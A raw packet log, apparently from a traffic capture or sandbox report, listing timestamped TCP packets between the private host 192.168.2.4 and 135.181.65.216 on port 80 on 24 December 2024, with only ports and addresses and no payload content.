Dec 24, 2024 22:27:17.201910019 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.201915026 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.201956987 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.202003956 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.202049017 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.202195883 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.202229977 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.202239037 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.202274084 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.202496052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.202547073 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.202713966 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.202786922 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.202790976 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.202836037 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.203027964 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.203063011 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.203080893 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.203097105 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.203105927 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.203138113 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.203679085 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.203733921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.203795910 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.203830004 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.203838110 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.203872919 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.204092979 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.204138994 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.204565048 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.204597950 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.204617023 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.204638958 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.204724073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.204757929 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.204766989 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.204807043 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.205389977 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.205445051 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.205488920 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.205522060 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.205532074 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.205566883 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.205787897 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.205832958 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.206228971 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.206278086 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.206355095 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.206387997 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.206399918 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.206429005 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.206644058 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.206686974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.207166910 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.207201004 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.207237959 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.207252979 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.207331896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.207367897 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.207386971 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.207426071 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.207962036 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.208013058 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.208076000 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.208139896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.208147049 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.208209038 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.208391905 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.208441973 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.208842993 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.208877087 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.208892107 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.208921909 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.208987951 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.209022045 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.209093094 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.209667921 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.209728956 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.209790945 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.209824085 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.209836006 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.209867001 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.210105896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.210155964 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.210552931 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.210586071 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.210606098 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.210618973 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.210717916 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.210752010 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.210767031 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.210788012 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.211469889 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.211503029 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.211525917 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.211545944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.211554050 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.211633921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.211688995 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.211735010 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.212327003 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.212362051 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.212378025 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.212399960 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.212455034 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.212487936 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.212506056 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.212528944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.213125944 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.213190079 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.213282108 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.213316917 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.213335037 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.213351965 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.213584900 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.213635921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.214107990 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.214123011 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.214147091 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.214159012 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.214159966 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.214175940 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.214198112 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.214210987 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.214792013 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.214835882 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.214917898 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.214927912 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.214956999 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.214971066 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.215229034 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.215265036 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.215748072 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.215758085 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.215785980 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.215799093 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.216573954 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.216583014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.216593981 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.216612101 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.216636896 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.216799021 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.216818094 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.216830015 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.216845036 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.216861010 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.216878891 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.217499971 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.217509985 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.217520952 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.217531919 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.217539072 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.217552900 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.217572927 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.218247890 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.218291044 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.218369961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.218384027 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.218410015 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.218424082 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.218647957 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.218697071 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.219068050 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.219146013 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.219188929 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.219199896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.219244957 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.219525099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.219630957 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.219932079 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.219979048 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.220089912 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.220101118 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.220143080 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.220377922 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.220459938 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.220819950 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.220875025 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.220911980 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.220925093 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.220989943 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.221261978 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.221319914 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.221652985 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.221731901 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.221764088 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.221775055 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.221837044 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.222079992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.222155094 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.222517967 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.222587109 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.222698927 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.222709894 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.222759962 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.222970963 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.223016024 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.223398924 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.223434925 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.223516941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.223527908 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.223571062 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.223784924 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.223901033 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.331000090 CET	49723	80	192.168.2.4	199.232.214.172
Dec 24, 2024 22:27:17.393807888 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.393882990 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.393923044 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.393934965 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.393968105 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.394141912 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.394182920 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.394323111 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.394335032 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.394361973 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.394377947 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.394567966 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.394612074 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.394750118 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.394787073 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.394865990 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.394875050 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.394886971 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.394905090 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.394920111 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.394927979 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.395616055 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.395659924 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.395723104 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.395734072 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.395761967 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.395773888 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.395986080 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.396033049 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.396517992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.396529913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.396559954 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.396574974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.396651030 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.396686077 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.396693945 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.396727085 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.397371054 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.397412062 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.397500038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.397510052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.397536993 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.397552967 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.397696972 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.397736073 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.398180008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.398224115 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.398297071 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.398308039 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.398336887 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.398350954 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.398511887 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.398551941 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.399044991 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.399085999 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.399142027 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.399151087 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.399178982 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.399189949 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.399440050 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.399477959 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.399889946 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.399929047 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.400011063 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.400033951 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.400051117 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.400065899 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.400264978 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.400301933 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.400819063 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.400830030 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.400861025 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.400877953 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.401034117 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.401045084 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.401073933 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.401087999 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.401622057 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.401662111 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.401700974 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.401710987 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.401741982 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.401753902 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.401951075 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.401992083 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.402545929 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.402585030 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.402595043 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.402606010 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.402630091 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.402645111 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.402806997 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.402844906 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.403362036 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.403373003 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.403405905 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.403405905 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.403517008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.403527975 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.403558016 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.403572083 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.404316902 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.404329062 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.404337883 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.404362917 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.404376030 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.404443026 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.404489994 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.405128002 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.405168056 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.405236959 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.405247927 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.405281067 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.405373096 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.405411005 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.405932903 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.405975103 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.406104088 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.406114101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.406143904 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.406157970 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.406224966 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.406264067 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.406807899 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.406846046 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.406882048 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.406893015 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.406920910 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.406934977 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.407131910 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.407170057 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.407665968 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.407716036 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.407731056 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.407742977 CET	80	49749	135.181.65.216	192.168.2.4
